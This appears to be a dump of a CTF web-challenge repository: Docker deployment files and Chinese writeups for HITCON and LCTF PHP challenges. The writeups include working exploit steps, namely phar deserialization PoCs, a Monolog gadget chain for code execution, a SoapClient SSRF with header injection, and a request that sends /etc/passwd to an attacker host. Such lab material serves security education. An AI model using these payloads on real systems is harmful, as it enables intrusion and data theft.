`phar://` 协议读取本地 `phar` 文件(phar协议不支持远程文件) 82 | 83 | 因此只需在 VPS 生成一个 phar 文件, `metadata` 设置为 Admin 对象,就能调用 `__destruct` 函数,然后利用 upload 访问 `?m=upload&url=http://ip` 写到服务器 84 | 85 | p牛的 PoC: 86 | ```php 87 | '; 93 | $p->setMetadata(new Admin()); 94 | $p->setStub('GIF89a'); 95 | rename(__DIR__ . '/avatar.phar', __DIR__ . '/avatar.gif'); 96 | ?> 97 | ``` 98 | 99 | ## creat_function 100 | 在 payload 下载后,我们便需要访问它,但是获取 flag 的方式有两种 101 | 一是使用 `my_function_$random` 函数,但是 `$random` 是随机数,不可能猜出来;二便是直接调用 `$FLAG` 函数 102 | 103 | ```php 104 | $FLAG = create_function("", 'die(`/read_flag`);'); 105 | ``` 106 | 107 | 但 `$FLAG` 函数是通过 `create_function` 创建,并没有设置函数名字,但其实这里声明的函数是有函数名的,匿名函数会被设置为`\x00lambda_%d`,`%d` 是从 1 递增的,直到最大长度结束。 108 | 109 | 110 | 但是我们并不知道当前的匿名函数到底有多少个, 因为每访问一次题目就会生成一个匿名函数。 111 | 112 | ## Apache-prefork 113 | 114 | 来自 Pr0phet 师傅的 wp: 115 | > Apache-prefork 模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256 个 child server, 这时候如果用户大量请求, Apache就会在处理完 MaxRequestsPerChild 个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法fork出新进程了) 在这个新进程里面匿名函数就会是从1开始的了 116 | 117 | 这里我们可以通过大量的请求来迫使 Pre-fork 模式启动的 Apache 启动新的线程,这样 `%d` 会刷新为1,就可以预测了。 118 | 119 | 120 | 运行 Orange 师傅给的 PoC 121 | 122 | ```Python 123 | import requests 124 | import socket 125 | import time 126 | from multiprocessing.dummy import Pool as ThreadPool 127 | try: 128 | requests.packages.urllib3.disable_warnings() 129 | except: 130 | pass 131 | 132 | def run(i): 133 | while 1: 134 | HOST = '127.0.0.1' 135 | PORT = 8007 136 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 137 | s.connect((HOST, PORT)) 138 | s.sendall('GET / HTTP/1.1\nHost: 127.0.0.1:8007\nConnection: Keep-Alive\n\n') 139 | # s.close() 140 | print 'ok' 141 | time.sleep(0.5) 142 | 143 | i = 8 144 | pool = ThreadPool( i ) 145 | result = pool.map_async( run, range(i) ).get(0xffff) 146 | ``` 147 | 148 | 同时尝试访问 `?m=upload&url=phar:///var/www/data/xxx&lucky=%00lambda_1`(xxx为 orange+ip 的 md5) 拿到 Flag 149 | 150 | ## References 151 | [hitconDockerfile/hitcon-ctf-2017/baby^h-master-php-2017](https://github.com/Pr0phet/hitconDockerfile/tree/master/hitcon-ctf-2017/baby%5Eh-master-php-2017) 152 | 153 | [HITCON2017-writeup整理](https://lorexxar.cn/2017/11/10/hitcon2017-writeup/) 154 | 155 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [orangetw/My-CTF-Web-Challenges/hitcon-ctf-2018/baby-cake](https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2018/baby-cake) -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t='ctf/baby-cake' ./deploy -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | # 清除 PHP 包 9 | RUN apt-get purge `dpkg -l | grep php| awk '{print $2}' |tr "\n" " "` 10 | 11 | RUN apt-get update -y 12 | 13 | # 增加源下载 php5.6 14 | RUN apt-get install -y software-properties-common 15 | RUN LC_ALL=C.UTF-8 add-apt-repository ppa:ondrej/php 16 | RUN apt-get update -y 17 | 18 | 19 | # 安装 php5.6 及 nginx 20 | RUN apt-get install -y nginx 21 | RUN apt-get install -y php5.6 php5.6-fpm php5.6-intl php5.6-mbstring 22 | 23 | # 文件移动 24 | COPY ./default /etc/nginx/sites-available/default 25 | COPY ./start.sh /start.sh 26 | 27 | COPY ./src/read_flag /read_flag 28 | 29 | COPY ./src/src.tar /var/www 30 | RUN rm -r /var/www/html 31 | RUN cd /var/www && tar xvf baby_cake.tgz && mv baby_cake.tgz ./html/webroot/ 32 | RUN chmod a+x /start.sh 33 | 34 | 35 | # 题目环境 36 | RUN chmod 777 /read_flag 37 | RUN chown -R www-data:www-data /var/www/html \ 38 | && ln -s /var/www/html /html 39 | 40 | RUN echo 'hitcon{smart_implementation_of_CURLOPT_SAFE_UPLOAD><}' > /flag 41 | RUN chmod 700 /flag 42 | 43 |   44 | # 清除 45 | RUN apt-get clean \ 46 | && rm -rf /var/lib/apt/lists/* 47 | 48 | EXPOSE 80 49 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | root /var/www/html; 4 | index index.php index.html index.htm; 5 | 6 | server_name localhost; 7 | location ~ \.php$ { 8 | include snippets/fastcgi-php.conf; 9 | 10 | # With php5-cgi alone: 11 | #fastcgi_pass 127.0.0.1:9000; 12 | # With php5-fpm: 13 | fastcgi_pass unix:/var/run/php/php5.6-fpm.sock; 14 | } 15 | } -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/deploy/src/baby_cake.tgz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/deploy/src/baby_cake.tgz -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/deploy/src/read_flag: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/deploy/src/read_flag -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service nginx restart 3 | service php5.6-fpm start 4 | 5 | /usr/bin/tail -f /dev/null 6 | -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/run: -------------------------------------------------------------------------------- 1 | # /bin/bash 2 | docker run -d -p 8000:80 ctf/baby-cake -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/writeup/README.md: -------------------------------------------------------------------------------- 1 | # hitcon-2018-baby-cake 2 | 3 | 题目直接给了源码,尝试直接输入 `http://www.baidu.com`,在源码中找到 ``,借此可以定位到 `src/Controller/PagesController.php`,我们先看一下其中的关键方法 `display()`: 4 | ```php 5 | class PagesController extends AppController { 6 | 7 | public function display(...$path) { 8 | $request = $this->request; 9 | $data = $request->getQuery('data'); 10 | $url = $request->getQuery('url'); 11 | if (strlen($url) == 0) 12 | return $this->back(); 13 | 14 | $scheme = strtolower( parse_url($url, PHP_URL_SCHEME) ); 15 | if (strlen($scheme) == 0 || !in_array($scheme, ['http', 'https'])) 16 | return $this->back(); 17 | 18 | $method = strtolower( $request->getMethod() ); 19 | if ( !in_array($method, ['get', 'post', 'put', 'delete', 'patch']) ) 20 | return $this->back(); 21 | 22 | 23 | $headers = []; 24 | foreach ($request->getHeaders() as $key => $value) { 25 | if (in_array( strtolower($key), ['host', 'connection', 'expect', 'content-length'] )) 26 | continue; 27 | if (count($value) == 0) 28 | continue; 29 | 30 | $headers[$key] = $value[0]; 31 | } 32 | 33 | $key = md5($url); 34 | if ($method == 'get') { 35 | $response = $this->cache_get($key); 36 | if (!$response) { 37 | $response = $this->httpclient($method, $url, $headers, null); 38 | $this->cache_set($key, $response); 39 | } 40 | } else { 41 | $response = $this->httpclient($method, $url, $headers, $data); 42 | } 43 | 44 | foreach ($response->headers as $key => $value) { 45 | if (strtolower($key) == 'content-type') { 46 | $this->response->type(array('type' => $value)); 47 | $this->response->type('type'); 48 | continue; 49 | } 50 | $this->response->withHeader($key, $value); 51 | } 52 | 53 | $this->response->body($response->body); 54 | return $this->response; 55 | } 56 | } 57 | ``` 58 | 59 | 在中可以看到: 60 | 1. 应用从 `querystring` 获取 `data` 和 `url` 参数 61 | 2. 只支持 `http\https` 两种协议及 `get\post\put\delete\patch` 五种方法 62 | 3. 对 `get` 方法与其他方法,处理方式不一样,也是该函数的重点 63 | 64 | 我们在着重看一下处理方法: 65 | ```php 66 | if ($method == 'get') { 67 | $response = $this->cache_get($key); 68 | if (!$response) { 69 | $response = $this->httpclient($method, $url, $headers, null); 70 | $this->cache_set($key, $response); 71 | } 72 | } else { 73 | $response = $this->httpclient($method, $url, $headers, $data); 74 | } 75 | ``` 76 | 77 | 对于 `get` 方法,先调用了 `cache_get` 方法,我们之前发现的注释也正是在这个函数中添加。 78 | 79 | ```php 80 | private function cache_set($key, $response) { 81 | $cache_dir = $this->_cache_dir($key); 82 | if ( !file_exists($cache_dir) ) { 83 | mkdir($cache_dir, 0700, true); 84 | file_put_contents($cache_dir . "body.cache", $response->body); 85 | file_put_contents($cache_dir . "headers.cache", serialize($response->headers)); 86 | } 87 | } 88 | 89 | private function cache_get($key) { 90 | $cache_dir = $this->_cache_dir($key); 91 | if (file_exists($cache_dir)) { 92 | $body = file_get_contents($cache_dir . "/body.cache"); 93 | $headers = file_get_contents($cache_dir . "/headers.cache"); 94 | 95 | $body = "\n" . $body; 96 | $headers = unserialize($headers); 97 | return new DymmyResponse($headers, $body); 98 | } else { 99 | return null; 100 | } 101 | } 102 | ``` 103 | 104 | 注意到该函数有个反序列化操作 `$headers = unserialize($headers);` 105 | 106 | 接着看,如果 `response` 为空,即没有缓存,则会调用 `httpclient` 请求对应内容,然后将 `response` 缓存。而 `cache_set` 函数有个序列化的操作 `serialize($response->headers)` 107 | 108 | 但在这题这里的序列化其实没啥用,继续分析。 109 | 110 | 对于其他方法,则会直接调用 `httpclient` 方法。 111 | 112 | ```php 113 | private function httpclient($method, $url, $headers, $data) { 114 | $options = [ 115 | 'headers' => $headers, 116 | 'timeout' => 10 117 | ]; 118 | 119 | $http = new Client(); 120 | return $http->$method($url, $data, $options); 121 | } 122 | ``` 123 | 124 | 在 `vendor/cakephp/cakephp/src/Http/Client.php` 中,对一个请求的调用栈如下: 125 | ```php 126 | $http->$method($url, $data, $options); 127 | $http->_doRequest(Request::METHOD_GET, $url, $body, $options); 128 | $http->send($request, $options); # $request = $http->_createRequest($method, $url, $data, $options); 129 | ``` 130 | 131 | 在 `_createRequest` 使用了 `$request = new Request($url, $method, $headers, $data);` 构造请求,跟进 `vendor/cakephp/cakephp/src/Http/Client/Request.php` 看一下 `$request` 是如何构造的。 132 | 133 | 134 | ```php 135 | class Request extends Message implements RequestInterface 136 | { 137 | public function __construct($url = '', $method = self::METHOD_GET, array $headers = [], $data = null) 138 | { 139 | $this->validateMethod($method); 140 | $this->method = $method; 141 | $this->uri = $this->createUri($url); 142 | $headers += [ 143 | 'Connection' => 'close', 144 | 'User-Agent' => 'CakePHP' 145 | ]; 146 | $this->addHeaders($headers); 147 | $this->body($data); 148 | } 149 | 150 | ... 151 | 152 | public function body($body = null) 153 | { 154 | if ($body === null) { 155 | $body = $this->getBody(); 156 | 157 | return $body ? $body->__toString() : ''; 158 | } 159 | if (is_array($body)) { 160 | $formData = new FormData(); 161 | $formData->addMany($body); 162 | $this->header('Content-Type', $formData->contentType()); 163 | $body = (string)$formData; 164 | } 165 | $stream = new Stream('php://memory', 'rw'); 166 | $stream->write($body); 167 | $this->stream = $stream; 168 | 169 | return $this; 170 | } 171 | ``` 172 | 173 | 可以看到,对于我们传入的 data 参数,该类做了一些处理。如果 data 为数组,则调用 `vendor/cakephp/cakephp/src/Http/Client/FormData.php` 中定义的 `addMany` 函数,进而调用 `add` 函数 174 | 175 | ```php 176 | public function addMany(array $data) 177 | { 178 | foreach ($data as $name => $value) { 179 | $this->add($name, $value); 180 | } 181 | 182 | return $this; 183 | } 184 | 185 | public function add($name, $value = null) 186 | { 187 | if (is_array($value)) { 188 | $this->addRecursive($name, $value); 189 | } elseif (is_resource($value)) { 190 | $this->addFile($name, $value); 191 | } elseif (is_string($value) && strlen($value) && $value[0] === '@') { 192 | trigger_error( 193 | 'Using the @ syntax for file uploads is not safe and is deprecated. ' . 194 | 'Instead you should use file handles.', 195 | E_USER_DEPRECATED 196 | ); 197 | $this->addFile($name, $value); 198 | } elseif ($name instanceof FormDataPart && $value === null) { 199 | $this->_hasComplexPart = true; 200 | $this->_parts[] = $name; 201 | } else { 202 | $this->_parts[] = $this->newPart($name, $value); 203 | } 204 | 205 | return $this; 206 | } 207 | ``` 208 | 209 | `add` 中可以看到如果 `data` 参数第一个字符为 `@`,则调用 `addFile` 方法 210 | 211 | ```php 212 | public function addFile($name, $value) 213 | { 214 | $this->_hasFile = true; 215 | 216 | $filename = false; 217 | $contentType = 'application/octet-stream'; 218 | if (is_resource($value)) { 219 | $content = stream_get_contents($value); 220 | if (stream_is_local($value)) { 221 | $finfo = new finfo(FILEINFO_MIME); 222 | $metadata = stream_get_meta_data($value); 223 | $contentType = $finfo->file($metadata['uri']); 224 | $filename = basename($metadata['uri']); 225 | } 226 | } else { 227 | $finfo = new finfo(FILEINFO_MIME); 228 | $value = substr($value, 1); 229 | $filename = basename($value); 230 | $content = file_get_contents($value); 231 | $contentType = $finfo->file($value); 232 | } 233 | $part = $this->newPart($name, $content); 234 | $part->type($contentType); 235 | if ($filename) { 236 | $part->filename($filename); 237 | } 238 | $this->add($part); 239 | 240 | return $part; 241 | } 242 | ``` 243 | 244 | 其中的 `file_get_contents` 函数没做任何参数过滤,参数正好是我们传入的 `data` 参数值,因此这里存在一个任意文件包含。 245 | 246 | 至此大致逻辑梳理完毕,服务器最终会通过对我们传入的 `data` 参数做一些处理,然后带着 `data` 参数访问 `url` 指定的地址。 247 | 248 | 我们尝试利用该逻辑 + 文件包含漏洞带出 /etc/passwd: 249 | 250 | ```http 251 | POST /?url=http://**.**.**.**:9000/&data[x]=@file:///etc/passwd HTTP/1.1 252 | Host: localhost:8000 253 | User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3590.962 Safari/537.36 254 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 255 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 256 | Accept-Encoding: gzip, deflate 257 | Connection: close 258 | ``` 259 | 260 | ![passwd](img/passwd.png) 261 | 262 | 发现可以成功利用。 263 | 264 | ### phar 反序列化 265 | 服务器能像其他任意服务器发出请求 + 应用本身存在任意文件包含漏洞,是不是就让你想起了 2017 年 hitcon 的 baby\^h-master-php,正是利用 phar 反序列化。 266 | 267 | 那么应该如何生成 payload? 在 `composer.json` 我们发现了 `"monolog/monolog": "^1.23"`,而在 `phpggc` 中正好有 1.23 版本的 payload(Monolog RCE1)。因此直接修改 `chain.php` 如下: 268 | 269 | ```php 270 | startBuffering(); 286 | $p->setStub(""); 287 | $p->addFromString("test.txt", "test"); 288 | $p->setMetadata(new \Monolog\Handler\SyslogUdpHandler(new \Monolog\Handler\BufferHandler(['current', 'system'],[$code, 'level' => null]))); 289 | $p->stopBuffering(); 290 | } 291 | } 292 | ``` 293 | 294 | 运行后生成 exp.phar,放在 VPS 上,访问下载到服务器 295 | ```http 296 | GET /?url=http://xxx.xxx.xxx.xxx/exp.phar 297 | ``` 298 | 299 | 然后找到 cache 位置 300 | ```php 301 | # config/paths.php 302 | define('TMP', ROOT . DS . 'tmp' . DS); 303 | define('CACHE', TMP . 'cache' . DS); 304 | 305 | # src/controller/PagesController.php 306 | private function _cache_dir($key){ 307 | $ip = $this->request->getEnv('REMOTE_ADDR'); 308 | $index = sprintf('mycache/%s/%s/', $ip, $key); 309 | return CACHE . $index; 310 | } 311 | 312 | # 最终路径为 /tmp/cache/mycache/ip/md5($url)/body.cache 313 | ``` 314 | 315 | 通过 POST 请求触发反序列化,读取 flag 316 | ```http 317 | POST /?url=http://xx.xx.xxx.xx&data[s]=@phar:///../tmp/cache/mycache/172.17.0.1/e494da96585eefa8b3cb4f98309d389b/body.cach 318 | ``` 319 | 320 | ## References 321 | [Hitcon 2018 Web - Oh My Raddit / Baby Cake 题解](https://xz.aliyun.com/t/2961) 322 | 323 | [HITCON CTF 2018 Web](http://blog.kaibro.tw/2018/10/24/HITCON-CTF-2018-Web/) -------------------------------------------------------------------------------- /Unserialization/hitcon-2018-baby-cake/writeup/img/passwd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/hitcon-2018-baby-cake/writeup/img/passwd.png -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [LCTF2018/Writeup/babyphp's revenge/](https://github.com/LCTF/LCTF2018/tree/master/Writeup/babyphp's%20revenge) -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t="ctf/babyphp-revenge" ./deploy -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 4 | 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get update -y 9 | 10 | # 安装 PHP 及 nginx 11 | RUN apt-get install -y nginx \ 12 | php7.0-fpm 13 | 14 | # 安装 SOAP 扩展 15 | RUN apt-get install -y php-soap 16 | 17 | # 文件移动 18 | RUN rm /var/www/html/*.html 19 | COPY ./default /etc/nginx/sites-available/default 20 | COPY ./src/* /var/www/html/ 21 | COPY ./start.sh /start.sh 22 | RUN chmod a+x /start.sh 23 | 24 | # 题目环境 25 | RUN chown -R www-data:www-data /var/www/html \ 26 | && ln -s /var/www/html /html 27 | 28 | # 清除 29 | RUN apt-get clean \ 30 | && rm -rf /var/lib/apt/lists/* 31 | 32 | EXPOSE 80 33 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/deploy/default: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | root /var/www/html; 4 | index index.php index.html index.htm; 5 | 6 | server_name localhost; 7 | location ~ \.php$ { 8 | include snippets/fastcgi-php.conf; 9 | 10 | # With php5-cgi alone: 11 | #fastcgi_pass 127.0.0.1:9000; 12 | # With php5-fpm: 13 | fastcgi_pass unix:/var/run/php/php7.0-fpm.sock; 14 | } 15 | } -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/deploy/src/flag.php: -------------------------------------------------------------------------------- 1 | session_start(); 2 | echo 'only localhost can get flag!'; 3 | $flag = 'LCTF{*************************}'; 4 | if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ 5 | $_SESSION['flag'] = $flag; 6 | } 7 | -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/deploy/src/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/deploy/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | service nginx restart 3 | service php7.0-fpm start 4 | 5 | /usr/bin/tail -f /dev/null -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/run: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker run -d -p 8005:80 ctf/babyphp-revenge -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/writeup/README.md: -------------------------------------------------------------------------------- 1 | # babyphp's revenge 2 | 题目直接给出源码 3 | 4 | ```php 5 | //index.php 6 | 18 | 19 | //flag.php 20 | session_start(); 21 | echo 'only localhost can get flag!'; 22 | $flag = 'LCTF{*************************}'; 23 | if($_SERVER["REMOTE_ADDR"]==="127.0.0.1") { 24 | $_SESSION['flag'] = $flag; 25 | } 26 | ``` 27 | 28 | ## Session 反序列化漏洞 29 | 该题跟 XCTF-Final-2018-bestphp 相似,其实也是同一个出题人。 30 | 31 | 看到 flag.php 猜测 SSRF,自然想到了 n1ctf-2018-hard_php,利用 `SoapClient` 进行 SSRF。而要利用该类则需要反序列化漏洞才行,这里涉及到 `session_start` 的 `options` 参数中的另一个 session 配置项 `serialize_handler`,该参数控制了 session的解析引擎,所以可以借用由解析引擎的不同导致的 session 反序列化,而此题刚好存在变量覆盖漏洞 32 | 33 | ## SSRF 34 | 35 | 因为利用 `SoapClient` 进行 SSRF 需要调用 `__call`方法,这里其实可以利用 `call_user_func` 执行对象中的方法(即 `welcome_to_the_lctf2018`),从而触发 `__call`。 36 | 37 | ![](img/call_user_func.png) 38 | 39 | pupiles 师傅的 PoC: 40 | ```php 41 | $target='http://127.0.0.1/flag.php'; 42 | $b = new SoapClient(null,array('location' => $target, 43 | 'user_agent' => "AAA:BBB\r\n" . 44 | "Cookie:PHPSESSID=your_sessid", 45 | 'uri' => "http://127.0.0.1/")); 46 | 47 | $se = serialize($b); 48 | echo urlencode($se); 49 | ``` 50 | 51 | 写入 session 52 | ```HTTP 53 | POST /?f=session_start&name=上面生成的代码 HTTP/1.1 54 | Host: kali:8001 55 | Connection: close 56 | Cookie: PHPSESSID=your_sessid 57 | Content-Type: application/x-www-form-urlencoded 58 | Content-Length: 31 59 | 60 | serialize_handler=php_serialize 61 | ``` 62 | 63 | 访问触发发序列化及 SSRF 64 | ```HTTP 65 | POST /?f=extract&name=Soapclient HTTP/1.1 66 | Host: 172.81.210.82 67 | Connection: close 68 | Cookie: PHPSESSID=your_sessid 69 | Content-Type: application/x-www-form-urlencoded 70 | Content-Length: 16 71 | 72 | b=call_user_func 73 | ``` 74 | 75 | ## References 76 | [谈谈LCTF2018](http://pupiles.com/lctf2018.html) 77 | 78 | [session_start()&bestphp](https://www.anquanke.com/post/id/164569) -------------------------------------------------------------------------------- /Unserialization/lctf-2018-babyphp's-revenge/writeup/img/call_user_func.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/Unserialization/lctf-2018-babyphp's-revenge/writeup/img/call_user_func.png -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/README.md: -------------------------------------------------------------------------------- 1 | # 来源 2 | [34c3ctf/urlstorage/](https://github.com/eboda/34c3ctf/tree/master/urlstorage) -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/build: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t ctf/urlstorage ./deploy 3 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | ENV DEBIAN_FRONTEND noninteractive 3 | 4 | RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list 5 | ENV TZ=Asia/Shanghai 6 | RUN ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone 7 | 8 | RUN apt-get -y update 9 | 10 | RUN apt-get -y install curl python3 python3-pip libmysqlclient-dev nginx 11 | RUN apt-get -y install wget 12 | 13 | # install phantomjs 14 | RUN apt-get -y install bzip2 libfreetype6 libfontconfig 15 | ENV PHANTOMJS_VERSION 2.1.1 16 | RUN mkdir -p /srv/var && \ 17 | wget --local-encoding=UTF-8 --no-check-certificate -O /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 https://bitbucket.org/ariya/phantomjs/downloads/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 && \ 18 | tar -xjf /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 -C /tmp && \ 19 | rm -f /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64.tar.bz2 && \ 20 | mv /tmp/phantomjs-$PHANTOMJS_VERSION-linux-x86_64/ /srv/var/phantomjs && \ 21 | ln -s /srv/var/phantomjs/bin/phantomjs /usr/bin/phantomjs 22 | 23 | # 文件移动 24 | COPY db.sql /tmp/db.sql 25 | COPY app /app 26 | COPY nginx/default /etc/nginx/sites-available/default 27 | COPY ./start.sh /start.sh 28 | 29 | RUN chmod 777 /start.sh 30 | 31 | # 数据库配置 32 | RUN apt-get install -y mysql-client \ 33 | mysql-server \ 34 | && service mysql start \ 35 | && mysqladmin -uroot password FUCKmyL1f3AZiwqeci \ 36 | && mysql -e "source /tmp/db.sql;" -uroot -pFUCKmyL1f3AZiwqeci \ 37 | && rm /tmp/db.sql 38 | 39 | COPY mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf 40 | 41 | # 题目环境 42 | RUN pip3 install --upgrade pip 43 | RUN pip3 install django gunicorn mysqlclient requests lxml pyyaml django-simple-captcha 44 | 45 | 46 | # xss user 47 | RUN groupadd -g 1000 xss-man && useradd -g xss-man -u 1000 xss-man 48 | 49 | # challenge files and configs 50 | COPY scripts/ /xss/ 51 | RUN chown -R xss-man:xss-man /xss/ && chmod 500 /xss/* 52 | 53 | RUN apt-get clean \ 54 | && rm -rf /var/lib/apt/lists/* 55 | 56 | EXPOSE 80 57 | CMD ["/start.sh"] -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/.gitignore: -------------------------------------------------------------------------------- 1 | *.sqlite3 2 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import os 3 | import sys 4 | 5 | if __name__ == "__main__": 6 | os.environ.setdefault("DJANGO_SETTINGS_MODULE", "urlstorage.settings") 7 | try: 8 | from django.core.management import execute_from_command_line 9 | except ImportError: 10 | # The above import may fail for some other reason. Ensure that the 11 | # issue is really that Django is missing to avoid masking other 12 | # exceptions on Python 2. 13 | try: 14 | import django 15 | except ImportError: 16 | raise ImportError( 17 | "Couldn't import Django. Are you sure it's installed and " 18 | "available on your PYTHONPATH environment variable? Did you " 19 | "forget to activate a virtual environment?" 20 | ) 21 | raise 22 | execute_from_command_line(sys.argv) 23 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/shimmeris/CTF-Web-Challenges/ba741a2d18bd624b420e3b69874eed337578f91f/XSS/34c3-2017-urlstorage/deploy/app/urlstorage/__init__.py -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/fixtures/admin.yaml: -------------------------------------------------------------------------------- 1 | - model: auth.user 2 | pk: 1 3 | fields: 4 | username: admin 5 | password: pbkdf2_sha256$36000$aEYFykhWmEVl$luoEd85o7hvdnHyUg6mZEtCw81ibXVJuwmIOyZCh7bo= 6 | is_superuser: true 7 | is_staff: true 8 | is_active: true 9 | 10 | - model: urlstorage.UserProfile 11 | pk: 1 12 | fields: 13 | user: 1 14 | token: da3eb263841b743fa7e11c63e67650a8 15 | created_at: 2017-12-17T14:15:30.381Z 16 | 17 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/middleware.py: -------------------------------------------------------------------------------- 1 | class SecHeadersMiddleware: 2 | def __init__(self, get_response): 3 | self.get_response = get_response 4 | 5 | def __call__(self, request): 6 | response = self.get_response(request) 7 | response['X-Frame-Options'] = "DENY" 8 | response['Referrer-Policy'] = "no-referrer" 9 | response['X-Content-Type-Options'] = "no-sniff" 10 | response['X-XSS-Protection'] = "1; mode=block" 11 | response['Content-Security-Policy'] = ( 12 | "frame-ancestors 'none'; " 13 | "form-action 'self'; " 14 | "connect-src 'self'; " 15 | "script-src 'self'; " 16 | "font-src 'self' ; " 17 | "style-src 'self'; " 18 | ) 19 | return response 20 | 21 | -------------------------------------------------------------------------------- /XSS/34c3-2017-urlstorage/deploy/app/urlstorage/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Generated by Django 1.11.2 on 2017-12-18 15:39 3 | from __future__ import unicode_literals 4 | 5 | from django.conf import settings 6 | from django.db import migrations, models 7 | import django.db.models.deletion 8 | 9 | 10 | class Migration(migrations.Migration): 11 | 12 | initial = True 13 | 14 | dependencies = [ 15 | migrations.swappable_dependency(settings.AUTH_USER_MODEL), 16 | ] 17 | 18 | operations = [ 19 | migrations.CreateModel( 20 | name='Feedback', 21 | fields=[ 22 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 23 | ('url', models.TextField()), 24 | ('visited', models.BooleanField(default=False)), 25 | ('duration', models.IntegerField(default=5)), 26 | ('created_at', models.DateTimeField(auto_now_add=True)), 27 | ], 28 | ), 29 | migrations.CreateModel( 30 | name='UserProfile', 31 | fields=[ 32 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 33 | ('token', models.TextField()), 34 | ('url', models.TextField(default='https://shiamotivate.me')), 35 